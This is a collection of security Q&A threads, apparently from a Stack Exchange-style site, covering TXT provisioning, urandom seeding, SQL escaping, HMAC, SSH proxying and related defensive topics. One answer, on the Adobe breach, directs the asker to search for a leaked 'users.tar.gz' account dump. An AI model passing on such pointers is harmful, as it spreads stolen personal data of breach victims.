How are TPMs provisioned for Intel Trusted Execution Environment (TXT)? For Intel TXT to work, the TPM must be provisioned.  Intel provides some tools for doing this but many are protected by non-public login or an NDA. Many OEM platform vendors provision their boards and machines at manufacturing time so an end user can use TXT.  That said, I'm having trouble finding the details about what state the TPM needs to work with TXT.

What are the details of TXT provisioning WRT the TPM chip?

And additionally:
There are server and client TPM configurations for TXT.  What is the difference between the two?

The Intel TXT is a complex system designed to provide a hardware layer of security that can prevent software layer changes from resulting in increased access for attackers. Through use of stored hashes of known good states for firmware, bios, and OS loads, TXT can indicate when something has changed outside of a known good state. This is helpful for identifying potential rootkits within an environment.

According to Intel, the use of TXT depends on :

  Intel TXT requires a server
  system with Intel VT, an Intel TXT-enabled
  processor, chipset, ACM, enabled BIOS,
  and an Intel TXT-compatible MLE (OS or
  hypervisor). In addition, Intel TXT requires
  the system to contain a TPM v1.2, as
  defined by the Trusted Computing Group
  (http://www.trustedcomputinggroup.org), and specific software for some
  uses -- https://www.intel.com/content/www/us/en/architecture-and-technology/trusted-execution-technology/trusted-execution-technology-security-paper.html

Now, TXT was initially designed for workstation components where only one OS was truly expected to be used at any given time, barring virtual instances within the host (Type 2 hypervisor). This contrasts starkly to servers which may have several hosts attached to the bare metal through a type 1 hypervisor. This required the creation of a more dynamic TXT system which would evaluate the booting OSs as they launched instead of attempting to read all potential hosts at the initial start.

Going beyond the differences between workstation and server, TXT does not work with all operating systems or all OS configurations. As an example, not all versions of Windows 10 permit the use of intel TXT and device guard:

https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-device-guard

As it pertains to the how to configure, it does change depending on your hardware, firmware, and OS selection. See the Intel configuration guide:

https://software.intel.com/en-us/blogs/2012/09/25/how-to-enable-an-intel-trusted-execution-technology-capable-server


How long to re-seed /dev/urandom in a virtual machine? I have read plenty about the distinction between /dev/random and /dev/urandom.  I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness is all you need for almost any cryptographic application - makes sense to me.
A couple of helpful sources:
- https://pthree.org/2014/07/21/the-linux-random-number-generator/
- http://www.2uo.de/myths-about-urandom/

The state of a virtual machine (VM) or live CD right after first boot is sometimes identified as an unusual edge case to this guideline, as /dev/urandom may not have been properly seeded.

In context of all the other possible uses of /dev/urandom, I can see that this is an edge case. However, given that you are using a VM for the first time, it seems plausible that one of the first things you might want to do is call on /dev/urandom, e.g. to generate SSH keys.

So, if you assume the worst about your VM (e.g. that it was cloned, or that after a reboot the newly seeded randoms are no good), what could you do to make sure that /dev/urandom is good to go?

The laziest thing to do seems to be to let the VM just sit running for a little while, until random events have re-seeded the input pool. The awkward part is that an idle VM does this quite slowly.

I wanted to test how long it takes for this to happen, and I tried to do so as follows:

This command pulls 32 bytes/256 bits from the pool (and displays in hex)
head -c 32 </dev/random | xxd -p

Once the input pool's entropy count has gone to minimal levels (visible with cat /proc/sys/kernel/random/entropy_avail), the command above will block until new random events enter the input pool. That suggests to me that if we run the above command repeatedly, time it, and write the results to a file called randomtest it will indicate how long it takes to refill the input pool.

I tried writing a one-line command which does so:
for n in {1..10}; do (/usr/bin/time -f "%E Real" sh -c 'printf "%-10s" $(head -c 32 </dev/random | xxd -p)' 2>&1) >> randomtest; done

More readably:

for n in {1..10};
do (/usr/bin/time -f "%E Real" sh -c \
    'printf "%-10s" $(head -c 32 </dev/random | xxd -p)' 2>&1) \
    >> randomtest;
done

I know that starting processes (even the cat command above) draws down the input pool, so this will provide a conservative estimate.
For what it's worth, I let the above command run on an inactive VM, and the time between fresh 32-byte sequences was a steady 15-20 minutes each.

My questions:

Does the output of this command successfully test what I think it does?
Is there a much simpler way to test the same thing?
Is there a different/better 'lazy' way to refresh the input pool and re-seed /dev/urandom than letting the VM sit idle?

I'm not an expert on the nuances between urandom and random but based on your description it would seem your test is correctly approximating the time to refill the input pool. I'm not aware of any tools that do this kind of testing.

There is a better way to reseed urandom to prevent stale state affecting the quality of the random data though, and that's to write random data in urandom.

This can be done on cloud providers using cloud-init and on VMs at boot time by running some instance metadata through a hash function and writing it to urandom. This could also be part of a configuration management solution using Chef, Ansible, Puppet, etc and pull a random seed from your local machine.

Note that this doesn't increase the overall entropy count, it just sets a fresher seed. From man 4 random

  Writing to /dev/random or /dev/urandom will update the entropy pool
         with the data written, but this will not result in a higher entropy
         count.  This means that it will impact the contents read from both
         files, but it will not make reads from /dev/random faster.


Where to download a list of email accounts hacked from Adobe? Adobe announced they had been hacked and millions of user accounts and passwords compromised.

These sites allow a search on email address to see if it was compromised:
https://lastpass.com/adobe/
http://adobe.breach.il.ly/

This site contains the Top 100 passwords used:

http://stricture-group.com/files/adobe-top100.txt

Where are they getting this information from?

Where can I download a list of the emails so I can notify any of my site's users, with the same email, to change their password like Facebook have done?

I could not give you a direct link to the file, but you could search for a file called "users.tar.gz", which has a file size of about 3.8 GB. With the search engine of your choice you should be able to find the file within minutes.


Impact of Metcalfe's law on the quality of security This question probably has a high likelihood of getting flagged as "too broad", but I'll take my chances.

I received the following question on a homework assignment:

  How does Metcalfe's law impact the quality of software security.

This is a vague question and I know that my professor is probably most interested in my train of thought and reasoning, rather than a concrete answer.

Metcalfe's law states that the value of a telecommunications network is proportional to the square of the number of connected users of the system. I know the answer has something to do with the fact that the software industry is getting away with low quality standards for security. It is still an immature market and the risk of security flaws can is transferred to the customer. This, together with the lemon market and the low cost of security failures, means that inferior security quality leads to success.

However, I can't see the relation with Mecalfe's law. Does it mean that the more companies invest in security, the more valuable it becomes to invest in security as well?

Here are some things to point you in the right direction:

First of all forget the conclusion you are trying to draw. That's how
you end up never seeing anything. Think, and let that process take
you to a conclusion right or wrong.
Remember that equations, even proportional ones, can be interpreted as easily as well defined ones. Think about what that means. For example if [value (V)] ~ [# of users (U)]^2 that means that the change of value dV ~ 2U. A linearly increasing function.
If the change in value (dV) is always increasing, what will that do for the interest of criminals in said system?
Remember # of Users includes criminals.
Remember the opposite is also true, as value increases what happens to those who wish to protect said system?
I bet you there is a relation between the value of a system, and the amount of work users are willing to put into it to break/protect it. I might be highly correlated to our initial premise.
Now that you have a system of equations (you should have 3 or more at this point) What happens as U->infinity and U->0. Does this change the perspective of the other points at all? yes or no?
Remember that if you are really clever there exists a logical path to relations you can create, some you have, some you need to make yourself, and some very interesting conclusions come out of it.

These points should help you get started the right way. Dig into it. It's actually a really interesting thought experiment.

EDIT:

As an extra little hint, bullet point 6 above was worded very specifically and is central to the epiphany. Especially if you also want to analyze the effect of the "lemon market" as you say. It was really cool to see what was developing as I kept writing.


Should I allow project partner to have remote desktop access to my computer? A potential project partner (I never met him; a friend worked with him) needs to have Anydesk access. He needs IP from my region to access some servers, so VPN would not work for him.
What are the security risks?

You are trying to use your desktop as a VPN. If this works to allow access, then great. But you are exposing the desktop to this person.
You ask about risks. A risk assessment is straightforward:

what are the things that you don't want to happen?
what is the likelihood of those things happening?
what would the impact be?
what can you do to decrease the likelihood or impact to a more acceptable level?

The bad things all seem to be around someone having access to your computer. Since you are granting access, the likelihood of access is certain. However, we can't tell you what the impacts might be. We don't know the computer, what's on it, or what access the computer might grant. If having access is unacceptable, then don't grant access.
We also can't tell you if this person is trustworthy or if they might do malicious things.


Is it safe to allow arbitrary image formats in comments? I know it’s not safe to allow arbitrary images in comments without proxying.

I just saw this feature. It seems that all current user agents which implement it disable scripting and external resource loading (but still allowing arbitrary XHTML and CSS). So for the all current web browsers versions, it is not a security risk at all.

So are there some older web browsers versions which allowed running JavaScript from an SVG loaded with this?
It seems this were never true for Opera and Firefox. However, I couldn’t find how to downgrade Internet Explorer and I couldn’t find older versions of Google Chrome either.

As long as your server and client are up to date, codes, standards, and framework safety: Yes...

If they're older: No!

Just to be safe: !!!NO!!!

There were a few old bugs that caused issues with this sort of thing on both ends, so we'll approach them both that separately.

Server Side Issues:

Probably not what you're asking for, but I wanted to make sure this gets addressed as well.

In the olden days of flat file servers with upload areas, and some other server side protocols/programs this introduced one very large problem. That problem was the dreaded script injection. By uploading this malformed image they were actually uploading a script that they could then access, and use to gain control of the server, and subsequently a vector of attack against clients as well.

Newer frameworks however have protection for this built in, and if your server programmer is worth anything then they should know about these types of attacks and how to guard against them. This is still a problem even to this day in bad roll your own servers some people keep doing. These programmers may be smart programmers, but sometimes this just falls through the cracks.

On the client side:

For their safety and security, no. It is NEVER okay to allow arbitrary formats for anything. In fact it is never okay to allow a user to do anything arbitrary at all. There is a reason for this, and it is considered a security best policy:

  Assume ALL content you personally have not produced to be dangerous

Because of that reason, you should never allow it. Why? Because just like the content being somewhat out of control, client browser versions are completely outside your control. This means that a well meaning person could connect to the place the image is, and get hijacked. Someone would be using your code, website, and functionality to ruin another persons life. You don't want that to happen.

The tentative Yes...:

This isn't such an issue as long as the web/server developer is willing to put in the time, effort, and functionality to safe guard against these attacks and can guarantee that they and their clients are safe from these code injections. That's a lot of work though, so it's a lot easier(not to mention safer for everybody) to just say no.

(you can't tell but the ellipses is italic too...)


How secure is this php code against SQL injection? The code given below is a portion of a simple login script code..

if (isset ($_POST['login'])) {
                $username = $_POST['username'];
                $password = $_POST['password'];
                $password_hash = sha1($password);

                $query = "SELECT id,username FROM users WHERE username = '".mysqli_real_escape_string($link,$username)."' AND password ='".$password_hash."'";

Here is some of my doubts:

Is the above code vulnerable to any kinds (error,blind,union based) of SQL injection?
If the above code is vulnerable to SQL injection attacks, how and why can the attacker launch the attack?
If the above code is safe, why do people still go for Prepared Statements etc...?

Is the above code vulnerable to any kinds (error,blind,union based) of SQL injection?

No, but only because sha1() happens by luck to produce output that never contains any SQL metacharacters.

Your query-creating code should not need to know about that implementation detail. It should be escaping the $password_hash as well, so that the line of code works on its own, and can be verified as correct and safe without having to look at the wider context. Otherwise, when you change how that $password_hash is calculated (say, to store a more secure salted hash), you may find that you've just created a vulnerability in that query code. Creating unnecessary coupling between disparate bits of code, potentially in different files, is in general a bad idea.

  If the above code is safe, why do people still go for Prepared Statements etc...?

Because prepared statements are typically easier to read, understand and verify; it is harder to accidentally omit an escape. Compare:

$query = "SELECT id,username FROM users WHERE username = '"
         .mysqli_real_escape_string($link, $username)
         ."' AND password ='"
         .mysqli_real_escape_string($link, $password_hash)
         ."'";

with:

$query = $mysqli->prepare('SELECT id,username FROM users WHERE username=? AND password=?')
$query->bind_param('ss', $username, $password_hash);

Although I'm not a huge fan of mysqli's particular brand of parameterised queries (especially binding to variables instead of values), the latter still seems simpler and more maintainable to me.


Barcodes that cannot be duplicated for products I have got some products, lets say A, B and C. I want to print a unique barcode for each of these products i.e even if there are 1000 product Cs, they all get the same barcode but this barcode should not be able to be duplicated by another person as the essence is to prevent fraud while maintaining originality of my product. Basically, I am trying to prevent my products from being duplicated by having barcodes on it that can be scanned to show authenticity from fake ones. What's the best way to go about the creation of these barcodes if it is possible.

Sorry, it's not possible to do what you're asking; at least not directly.  Barcodes are inherently copyable.  If you can see it, an attacker can forge it.  Instead, you'll need a different approach to securing the data.

You could physically hide the barcode until it's time to scan it.  Some retailers use barcodes on their gift cards, and hide the activation barcodes inside the package.  The cashier has to tear the package open in order to scan it, and they know not to scan a package if it's already been opened.  You could also consider other technically similar approaches, like a peel-off or scratch-off covering over the barcode.

You could try authorizing your customers separately from these barcodes.  Let's say you had your customer register to buy your product. You'd issue them an authorization code (perhaps email them a barcode that they print out and bring to the store).  Then, when it comes time to scan the product's barcode, you'd require them to provide their authorization code as well.

As others have suggested, you could use a technology that's not a barcode.  Most RFID chips have static data and are therefore clonable, but smart cards are not.


Attack on the custom token-based sha256 security scheme I have token made as sha256("public text" + "secret value"), or any number of such tokens with the same "secret value" but different "public text". sha256 that is used is not salted - so that sha256-ing the same text will always produce the same hash.

Can I construct a valid token with my own "public text" (or even reveal the secret) without exhaustive search for secret?

The length extension attack that @Tinned_Tuna talks about would have allowed you to generate forged tokens with a "public text" of your own choosing (within some format constraints due to SHA-256 padding, though), but only if the secret had come first in the hash function. By inputting the secret last, this specific weakness is avoided.

Another, less serious weakness related to the input of the "public text" first is that, potentially, as an attacker, you could try to build a SHA-256 collision, have one message of the colliding pair be authenticated by the key-owner system, and the hash value will be valid for both messages. In other words, using SHA-256(public+secret) makes the algorithm only as strong as collision resistance of the hash function, instead of preimage resistance. This is not a serious problem because SHA-256 has a 256-bit output, which makes it immune (in practice) to collisions; that's more a theoretical issue in that you do not get your money worth (you have to use a 256-bit output to get 128-bit security).

An handwaving way of stating things is that, in such constructions, you need to input the secret key at least twice, at the beginning and at the end of the computation. But, really, you want a MAC; that's what your "tokens" are about. So, do yourself a favour, don't try to invent your own algorithm; instead, use something which has been carefully designed and studied for years, even decades, and provides the kind of security you want. This is called HMAC. HMAC uses an underlying hash function (e.g. SHA-256) but does it well, with the secret key inserted at the right place so as to avoid the tricky pitfalls implied by using an actual hash function, as opposed to the mythical beast known as a "random oracle". If you study HMAC, you will see two nested invocations of the hash function, with the secret key used twice.


Security issues with multiple interfaces Say I have a server with multiple interfaces. I wish to configure each interface as different IP addresses (and host name). Is it advisable, on a security standpoint, to do that? I have an application sitting on this server collecting statistics from different network segments. Or should I use firewalls instead? thank you

You should consider the following:

If the two interfaces connect to two different network segments, with different levels of trust (e.g. DMZ and internal network), you are essentially bridging those networks.
Software firewalls can help mitigate the potential for abuse, but you must also consider situations where the firewall daemon fails to start, or the rules are not configured / implemented correctly. (e.g. are you properly blocking layer 2 traffic? and IPv6?)
If a vulnerability is found in your server (e.g. a kernel bug in the network stack that allows RCE) then an attacker may be able to pivot from one network to the other.

If you're concerned about traffic traveling between the two networks, you need to take measures to prevent this. The best measure is to not bridge in the first place and, as you noted, install separate servers on each segment. Properly configuring the routing table and a software firewall on the bridging system is critical to prevent abuse, but as I mentioned above it's not perfect.

One solution I've seen used is to install two separate hardware firewalls between the server and the network segments (i.e. segA <--> fwA <--> server <--> fwB <--> segB), with both inbound and outbound rules on both, so that an attacker would have to compromise both hardware firewalls and the software firewall on the system in order to pass traffic between the network segments.

Alternatively, you could look into unidirectional networking (also known as "data diodes") if the data transfer only needs to go from each segment into the server, and not the other way around. You can buy hardware systems which enforce this physically, so that there's (hopefully) no way to bypass the restriction.

As for what's safe enough for you, that largely depends on what your threat model and security requirements are.


Risks of using HTTP when I trust the local network What are the risks of using HTTP instead of HTTPS assuming that there isn't any rogue hacker sitting on my personal WiFi network waiting to sniff my traffic?

Can a hacker sit in his boat in the middle of the ocean to tap into the network lines and sniff my packets? Or is it not possible (or extremely hard) to do so once the packet leaves my network?

I always have this mindset that for an average user with no incentive to target an attack against, there is a lower risk of using HTTP.

Assuming your local network is secure, the average script kiddie / hacker with minimal resources would not be able to tap into the connection even when using plain unencrypted HTTP. That doesn't mean using plain HTTP is risk-free. Your data could still be captured and logged or freely modified by:

Your ISP and your own government
ISPs and governments in countries your traffic is routed through
Anyone capable of launching a BGP route hijacking attack

And, of course, any of the above could share the data with third parties of their choosing, or even give these outside parties direct access to your network traffic.

A few examples:

Some ISPs are known to inject JavaScript into HTML pages. This could be additional advertising or tracking, or custom notifications like in the case of Comcast recently.

I live in Finland, and a lot of the Finnish internet traffic is routed through Sweden. In 2009 Sweden passed a law allowing the Swedish intelligence agency FRA to monitor all internet connections that cross the border. This means Sweden is both technically and legally able to use mass surveillance on Finnish internet users. FRA has also been reported to co-operate closely with NSA and GCHQ, and they are likely to share data.

In 2013 the surveillance software company Hacking Team orchestrated a BGP hijack in co-operation with the Italian government and a hosting company. Similar route hijacks could easily be used to tap into HTTP connections from anywhere in the world. BGP hijacks or "leaks" are not rare. The @bgpmon Twitter account, among others, tracks and reports these types of events. Often the events are attributed to misconfigurations and human error, but in most cases it's not possible to know for sure. Quite often the culprits are individual ISPs in China or similar countries, and there's no guarantee that the ISPs themselves weren't the target of a hack.

Besides security, there are other reasons to use HTTPS. SPDY and HTTP/2, which are new versions of HTTP with less overhead, are only supported over TLS in most implementations. Many JavaScript web technologies are also only available to HTTPS websites, e.g. Service Workers and the Location API.


Security while connecting to a MySQL database using PDO I looked at this question: What is the right way of storing database connection strings from the security point of view?

And I'm wondering specifically for connecting to a MySQL database with PDO, how can I be more secure?

I currently store my password in plain text in a .php file.
If storing outside the root is optimal, how can I include this file when I must access the database in index.php for example?

Use include or include_once to include anything in PHP.

<?php
include_once("/etc/out-of-htdocs/password.php");
?>

The PHP code can access files, which are not accessible via an URL. That is the security benefit.

In case of a miss configuration of the PHP module it is possible that every PHP file gets delivered without evaluation, which means that the password is world readable for everybody. If the PHP file is not accessible via an URL a configuration problem of the PHP module does not have any impact in the password security.


Apache Access Log Indicates DOS Attack? Or any other attack? Below is my apache access log.

175.139.240.59 - - [28/Jul/2017:23:42:50 +0000] "HEAD http://xx.xxx.xx.xxx:80/mysql/admin/ HTTP/1.1" 301 -
...
175.139.240.59 - - [28/Jul/2017:23:42:50 +0000] "HEAD http://xx.xxx.xx.xxx:80/phpMyadmin/ HTTP/1.1" 301 -

Is this logs indicates any dos attack to my server?
If yes or any other attack, how to prevent from that?

My Web Apps Stack : Apache, Laravel & Postgres

That's something what you have to expect when you run own server. Those logs are normal in a way that attackers are trying to find those directories and furtherly gain access to the server or running web application.

If your server is properly configured & secured, you don't need to worry about those logs.


Firefox security certificate issues: FUD or truth? I was doing a little reading over at gHacks, and came across this comment attributed to Joey Spinosa regarding certificates in Firefox:

These certificates are installed automatically by the browser. No user confirmation is ever requested. No option to have a user approval is offered. (Firefox does have an option to notify you if a site requests a certificate FROM you, but not the other way around).
Source: http://www.ghacks.net/2016/05/26/opera-software-sale-greenlighted-by-shareholders/#comment-3911315

And then I read this comment attributed to the same Mr. Spinosa:

There is a certificate for EVERY site you visit that uses encryption (HTTPS/SSL). These certificates ARE NOT deleted as part of your browsing history.
Source: http://www.ghacks.net/2016/05/26/opera-software-sale-greenlighted-by-shareholders/#comment-3912716

Mr. Spinosa then goes on to explain that even when a user deletes their Firefox history, it is trivial for us to see what secure sites they visited by viewing the certificates stored in Firefox's profile.
Are all these comments accurate?

You better ignore that commenter entirely. Joey Spinosa is either royally confused or is trolling.

There are many totally inaccurate statements in his comments; mainly from conflating Server Certificate with Certificate Authority Certificate.

Claim 1:

  downloading files ... install these certificates of authority.

Browsers never silently install a Certificate Authority when just browsing or downloading files. If you run an installer or executable you got from a download or somewhere else, it's possible for the installer to insert a Certificate Authority into the certificate store. However, mere browsing and downloading never silently installs a Certificate Authority without additional security prompt.

There are no good reason to use a second browser, as suggested by Joey Spinosa, to avoid installing a new Certificate Authority. If you install/execute untrusted programs, the installer/executable could just as easily install the fraudulent Certificate Authority in all browsers in the system, infecting both your primary and download-only browser. If you run an untrusted installer/executable, you could already be screwed in more ways than just fraudulent Certificate Authority.

The list of trusted Certificate Authority is pre-installed in the browser, and this list cannot be modified by mere browsing or downloading. Advanced users may add or remove their own Certificate Authority into their browser's certificate store from the Certificate UI. Some legitimate anti virus are also known to have installed Certificate Authority so it can intercept and scan inside HTTPS connection.

Claim 2:

  the name of the certificate and it’s origin bear no resemblance to the name of the web-site.

This is only half truth. The domain name of the website is specified in the CN (Common Name) and/or the SAN (Subject Alternative Name) field of the Certificate. In a DV (domain validated) certificate, that is all the information that the certificate asserts. In OV (Organization Validated) and EV (Extended Validated) certificate, the Certificate additionally have O (Organization), L (Locality), and C (Country) field which will also contain the organization's legal name and jurisdiction. This is the name of the organization as registered in the legal jurisdiction. In some countries, Organizations can have different Legal Name than the name that the general public knows them as. In these cases, the organization may put the name they are generally recognized as the DBA (Doing Business As) name, but there is no requirements for them to do this.

However, what's patently false, and indicates that Joey Spinosa really has no clue of what he's talking about, is the examples he gave:

  For example, I like to use Duck-Duck-Go as my preferred search engine. ... The certificate installed in Firefox is titled “DigiCert Global Root CA”. ... ASUS uses a secure site, the title for that certificate is “Baltimore CyberTrust Root”…

DigiCert and CyberTrust are the names of trusted Public Certificate Authorities. Certificate Authorities are like the "notaries" of the internet, they verify the identity of companies that runs a secure website via TLS, and they are obviously not the companies/websites themselves.

Public Certificate Authorities are independent companies that are trusted by browsers to verify the identity of sites and organizations like Duck Duck Go and ASUS. A Certificate Authority performs this by cryptographically signing Duck Duck Go's and ASUS' Certificates after verifying that the owner of the Public Key in the Certificates are the site/company whose detail are listed in the Certificate. Browsers can verify these cryptographic signatures because the browser ships with a pre-installed list of Certificate Authority Certificates. Note that while a Certificate Authority Certificates have very similar file format and structure as Server Certificates, they are used very differently by the browser.

You can check the details of the Certificate, the details of Certificate Authority, and any Intermediate Authorities in the browser security detail screen, by clicking on the lock icon next in the URL bar. This will show you the Chain of Trust, anchored from the Certificate Author, to end at the Server Certificate. Browsers trusts a Server Certificate by the virtue that it trust the Certificate Authority.

Pubic Certificate Authorities obtained this position of trust by convincing browser vendors that they are technically, financially, and legally capable to perform identity verification. The browser vendors requires that Public Certificate Authority publishes their Certificate issuance practice in a document called CPS (Certificate Practice Statement), and the Certificate Authority are regularly audited to ensure that the Certificate Authority conform to their own CPS. Browser vendors also sets up various requirements in the CPS if a Certificate Authority wants to be trusted by default by the browser. Details of this, you should visit the CA/B Forum and the Browser Vendor's CA Inclusion policy.

Claim 3:

  Simply type “startpage.com” or “duckduckgo.com” into your address bar, watch HTTP change to HTTPS and bingo, you just installed a security certificate

This is not quite correct. Server Certificates and sometimes Intermediate Authority Certificates are downloaded by the browser from the Server every time the browser makes a new TLS Session, this is an integral  part of the TLS Handshake. Note that TLS Session isn't necessarily the same as TLS Connection. A browser can speed up TLS Handshakes with servers it had connected to in the past, by performing abbreviated handshake, which does not exchange certificate details. Under no circumstances would a TLS handshake automatically installs a Certificate Authority.


Authorization in offline application I'm working on a machine which needs to store usernames and passwords for the various operators, technicians, and engineers that may be using and configuring it. It is important that some functions be accessible only by engineers, some be accessible by technicians and engineers, and some be accessible by everyone.  There must also be a way to add, remove, and change accounts.  Finally, the data must be stored on the same physical computer as the application.

It's been suggested that we simply store the username, password, and privilege level in an INI file on the disk.  This, obviously, is bad.  I'd like to use a more secure system, with the goals that a low-privilege user:

Cannot find a plain-text copy of anyone's password
Cannot perform actions outside of their privilege scope

I believe that I have accomplished goal #1 by salting and hashing the password, storing the salt and hash on the disk, and authenticating against these values.  I'm using the .NET framework, and the System.Security.Cryptography.Rfc2898DeriveBytes PBKDF2 hashing scheme for this purpose.

However, 2 is more difficult, because by storing the user accounts on the disk, the following attack is possible:

Attacker makes a backup of the current application state
Attacker resets the machine to the clean/initial state by deleting backed-up files
Machine must now provide a mechanism to add user accounts, such offering an admin password which is displayed only on the first run
Attacker gives themselves desired privileges and executes previously restricted action
Attacker restores old machine state

I can't see a way around this attack.  Is there anything I can do? How are fully-offline authentication systems, such as Windows or Linux user accounts, protected from this sort of attack?

I do realize that an attacker with this kind of access could modify or inspect the application itself and could add a physical or software keylogger, but that's not really something I can protect against, so I want to focus on making the authentication mechanism as secure as possible.

Basically, don't let the attacker modify the application state.

Now, I'm not sure how file permissions are enforced on Windows, so just take this answer as high-level advice. You will have to figure out the specifics yourself.

Basically, operating systems like Linux prevent this sort of things from happening by requiring a privileged account to modify, remove and sometimes even read an important file. Modern Linux enforces this in a variety of ways, including POSIX permissions, access control lists and SELinux.

Applying this to your situation (in Linux-speak), I would require that the application runs as a specific operating system user account and owns the files that provide application state and other relevant information. This removes the ability of normal users using the system to modify the application state.


How secure is this authentication approach compared to hashing? I am curious how secure the following approach is for authentication:

By every account I encrypt data with known structure using a symmetric algorithm (e.g. AES or twofish) with a password derived key. The data can be for example a JSON encoded object an XML or anything else, which is easy to verify. I use different IVs by every account, a secure mode of operation, block encryption, etc...
By login I try to decrypt the cipher text with a key derived from the given password.
If the resulting data has the proper structure, then the password was ok and the user is authenticated. Otherwise the password was wrong and the login attempt failed.

Is there any drawback by this approach compared to the usual password salting and hashing?

Yes, there is a drawback, even if it’s „only“ a practical one (yet I perceive the collision rate (wrong password derived a key that decrypts to something following the syntax you expect) to be higher in your scheme, but I didn’t to the maths, because the other drawback is prevalent).

There are way more moving parts in your scheme than in the usual password hashing. This means more things can go wrong, especially if you implement this yourself. Using a hash function is easy in comparison to using a block cipher.

Implementations and examples on secure hashing for passwords are easily available while an implementation of your scheme would be somewhat special, offering way more pitfalls in implementation.

Additionally, this would allow attackers that have the database to crack the users passwords maybe as easy. Depending on which hash function and salting you use, AES, that is mostly implemented in hardware, is fast in comparison - and only one block would be a good indicator of correct decryption.


Making SSH warn of MITM monitoring I am a bit of a newbee with SSH+security, so I'm not sure if the assumptions in the following question are entirely correct...

I am in a hotel which uses zscaler.com to monitor its guests' internet connections.  My computer uses Windows 7, but I am running a VMWare guest with Fedora 23.

In the VMWare/Fedora guest I have set up Firefox to use a socks proxy:

ssh -ND 9876 me@my-isp.com

Within Firefox, I have set

network.proxy.socks_remote_dns --> true
network.proxy.socks_port --> 9876
network.proxy.socks --> localhost
network.proxy.type --> 1

I had thought that using a socks proxy like this would prevent MITM monitoring of Firefox's web surfing, but it doesn't: for some web pages (e.g. totalvpn.com), I get the hotel's warning page saying that the site I'm linking to is on their "forbidden" list.

When I started the socks proxy, as above, I got no warning that the link was not secure. Is there a way to force SSH to use a secure link or fail if it can't?

You didn't give all the necessary information. It could be that Firefox is just incorrectly configured and does not use the proxy at all. Given that Firefox is setup correctly, which it sounds like, this is what I think is most likely.

Firefox tunnels the traffic nicely through SSH, you can verify this by going to a website like whatismyip.com.

What does not get tunneled are DNS requests. This is a known problem and projects like Tor (the anonymity network) work around it by providing a custom browser that does not leak DNS requests.

So what happens is that your browser asks your operating system for the website's IP address, which will query the local DNS servers (and using custom DNS servers might not help if they do DNS MITMing, which is not uncommon). The local DNS servers will then return some IP address which, when fetching the page, gives you the hotel's fascist firewall page.

Local IP addresses usually are in Firefox' ignore list by default, so they won't go through the proxy, and that's why you can see the page at all. If it had gone through the proxy, your SSH server would probably have gone "I can't reach this IP address" and you'd be none the wiser.

  When I started the socks proxy, as above, I got no warning that the link was not secure. Is there a way to force ssh to use a secure link or fail if it can't?

When using HTTPS you know your connection is secure, unless:

you installed software from the hotel to get on the internet;
installed a security certificate;
there is a warning sign (or something like that) on the padlock in your address bar; or
you ignore "this page is not secure" warnings.

When using HTTP you should not rely too much on its security, but I agree, it's nicer to be on a trusted network. Unfortunately HTTP has no mechanism to verify that nobody reads along, so no warning could ever be given.


How did my professor sniff my Gmail password? Here I am describing the scenario which I used to login to my Gmail account.

A fresh installed Windows Laptop was given to me with chrome installed.
Connected to WiFi network of my college.
Signed in to Gmail using Incognito Window of Chrome browser.
Signed out of Gmail.
Closed the browser and given to my professor to discover my unsaved password.
And he found my password within 15 seconds.

I assure you that there was no keylogging applications were installed and my professor refused to disclose the method which he used to discover my password and I am really doomed now.

I am pretty sure my professor had no access to the laptop before and he can do this trick on any computers which is connected to our college network.And no sniffers or malwares were on the laptop as I have checked the services running under Task manager.

I just want to know how he did it.Do anyone know how he did it?

I think that the college network might be using cookies to track the activities of user and I think the login data is saved in the Network.

I'm not entirely sure, but I believe that any decent corporate firewall has the tools to do some decent (deep) SSL inspection.

This is available to firewalls in order to do application control, antivirus scanning, data leakage prevention, etc.

Basically client SSL connections can get proxied through the firewall and unless this "freshly installed computer" would not trust the firewall's certificates itself, it appears to be technically feasible to log sensitive data on the firewall.

How HSTS comes into play with these proxy-based is not entirely clear to me, but I guess that unless OP was using a recent legit version of Google Chrome to navigate to gmail.com, it would be difficult to entirely exclude this "SSL inspection" possibility. Even if he did, I am not sure SSL inspection is undoable.

In any case, whether or not its done via a firewall, this would probably require a certificate to be preinstalled in the PC's cert store.


What is the likelihood of a NAS getting hacked? I'm looking at NAS (network attached storage) to use as one of several backup storage devices to store my data, since I cannot find a DAS (direct attached storage) with RAID functionality (all of the devices I've looked at seemed to be NAS). I'm worried mainly about the security of the NAS because it will contain sensitive data such as pictures. What is the likelihood that I may be a target of a hacker? How likely is he to get access?

A NAS is not necessarily connected to the Internet, e.g. my NAS has a local 192.168 address which is not routed. In addition I have blocked that IP address from getting Internet access through the DSL router. The NAS itself is protected via username and password.

There are a few attack vectors, of course:

the DSL router can be hacked. Getting root access on the DSL router, the intruder could reach the NAS. Then, the attacker still needs to hack the user account of the NAS.
my PC could be hacked. Getting access to my PC would immediately give access to the NAS as well, because I authenticate with the same username and password. You could choose different username and password to get a higher security. If so, the attacker would need to transfer data from the NAS via my PC to the Internet.

Depending on your backup strategy, you can protect the backup by an additional password or even encrypt it.

That said, if

you're a bit careful,
run an up-to-date virus scanner,
configure your network and DSL router carefully,
do not browse as admin,
install updates frequently

you'll likely not run into problems. I have a NAS setup like that since ~10 years and don't know of any issues.

If you need the NAS only for backups, you can turn it off when unused and just turn it on e.g. every 2 weeks for making the backup.


What does HP DriveLock do to your password? While looking at various hard drive encryption methods, I discovered that HP's "DriveLock" is not quite the standard ATA security system. While I did get confirmation from HP that it does indeed use ATA security commands to lock and unlock the drive, I'm curious what it does to my password.

Moving a DriveLock'ed drive from one HP system to another (with different firmware) resulted in the password being incorrect. If I moved it to a different system with the same firmware, it worked.

I locked a drive with a ThinkPad that uses the normal HD Password setting, and the HP was unable to unlock it.

I suspect that HP DriveLock is mangling the password (or hashing it, or something) that you give it and giving the drive a completely different password.

I'm curious if anyone knows what DriveLock may be doing. My main concern is that if we lose an HP system when we don't have a same model, that drive becomes useless unless we can acquire another laptop with the same firmware that locked the drive.

DriveLock is used along with Self-Encrypting Drives (SEDs).


Should the traffic between the containers need to be encrypted? Should the traffic between two containers in same docker environment need to be encrypted ?

Is it possible for a container to snoop into the un-encrypted traffic between two containers ?

Whilst it depends slightly on the nature of the environment in use, in the general case I'd say that you likely do want to encrypt traffic between two containers.

